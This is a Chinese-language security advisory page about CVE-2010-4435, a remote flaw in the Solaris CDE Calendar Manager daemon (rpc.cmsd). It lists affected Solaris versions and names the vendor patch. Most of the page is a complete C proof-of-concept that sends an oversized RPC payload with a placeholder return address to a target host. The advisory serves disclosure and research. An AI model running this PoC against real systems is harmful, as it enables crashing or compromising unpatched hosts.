首页 -> 安全研究

安全研究

安全漏洞
Oracle Solaris远程CDE日历管理服务后台程序漏洞

发布日期:2011-01-18
更新日期:2011-01-25

受影响系统:
Oracle Sun Solaris 9_x86
Oracle Sun Solaris 9_sparc
Oracle Sun Solaris 8_x86
Oracle Sun Solaris 8_sparc
Oracle Sun Solaris 10_x86
Oracle Sun Solaris 10_sparc
描述:
BUGTRAQ  ID: 45853
CVE ID: CVE-2010-4435

Solaris是一款由Sun开发和维护的商业UNIX操作系统。

Solaris的CDE Calendar Manager Service Daemon中存在安全漏洞,远程攻击者可通过RPC协议利用此漏洞进行攻击。

<*来源:Oracle
  
  链接:http://www.zerodayinitiative.com/advisories/ZDI-11-062
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Rodrigo Rubira Branco (BSDaemon)提供了如下测试方法:

/*
* Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking . com>
* http://www.kernelhacking.com/rodrigo
* http://www.risesecurity.org
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <rpc/rpc.h>

#define CMSD_PROG 100068
#define CMSD_VERS 4
#define CMSD_INSERT 6
#define CMSD_UNKN 10

struct cm_send {
   char *s1;
   char *s2;
};

struct cm_send2 {
   char *s1;
   char *s2;
};

struct cm_reply {
   int i;
};

bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
   if(!xdr_wrapstring(xdrs, &objp->s1))
      return (FALSE);
   if(!xdr_wrapstring(xdrs, &objp->s2))
       return (FALSE);

   return (TRUE);
}

bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp)
{
   if(!xdr_wrapstring(xdrs, &objp->s1))
      return (FALSE);
   if(!xdr_wrapstring(xdrs, &objp->s2))
       return (FALSE);

   return (TRUE);
}

bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
   if(!xdr_int(xdrs, &objp->i))
      return (FALSE);
   return (TRUE);
}

int
main(int argc, char *argv[])
{
   char buf[2048], buf2[256];
   long ret, offset;
   int len, x, y, i;
   char *hostname, *b;

   CLIENT *cl;
   struct cm_send send;
   struct cm_send2 send2;
   struct cm_reply reply;
   struct timeval tm = { 10, 0 };
   enum clnt_stat stat;

   printf("<< rpc.cmsd remote PoC (CVE-2010-4435), tested against Solaris, AIX, HP-UX >>\n");
   printf("<< Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking.com> >>\n");
   printf("<< http://www.kernelhacking.com/rodrigo >>\n");
   printf("<< http://www.risesecurity.org >>\n");

   if(argc < 2) {
      printf("Usage: %s [hostname]\n", argv[0]);
      exit(1);
   }

   hostname = argv[1];

   memset(buf,0x60,sizeof(buf)-1);
   memset(buf2,0x44,sizeof(buf2)-1);
   memcpy(buf+292,"\xaa\xbb\xcc\xdd",4);

   send.s1 = buf;
   send.s2 = "";
   send2.s1 = buf2;
   send2.s2 = "";

   printf("\nSending CMSD_UNKN to the server ... ");

   if(!(cl=clnt_create(hostname,CMSD_PROG,CMSD_VERS,"udp"))){
        clnt_pcreateerror("\nerror");exit(-1);
   }
   stat=clnt_call(cl, CMSD_UNKN, xdr_cm_send, (caddr_t) &send,
                        xdr_cm_reply, (caddr_t) &reply, tm);

   clnt_destroy(cl);
    
   printf("done!\n");

   printf("Sending CMSD_INSERT procedure ... ");

   if(!(cl=clnt_create(hostname,CMSD_PROG,CMSD_VERS,"udp"))){
    clnt_pcreateerror("\nerror");exit(-1);
   }

   cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
   stat=clnt_call(cl, CMSD_INSERT, xdr_cm_send2, (caddr_t) &send2,
                        xdr_cm_reply, (caddr_t) &reply, tm);

   printf("done!\n");
   clnt_destroy(cl);

}

建议:
厂商补丁:

Oracle
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.oracle.com

浏览次数:2722
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障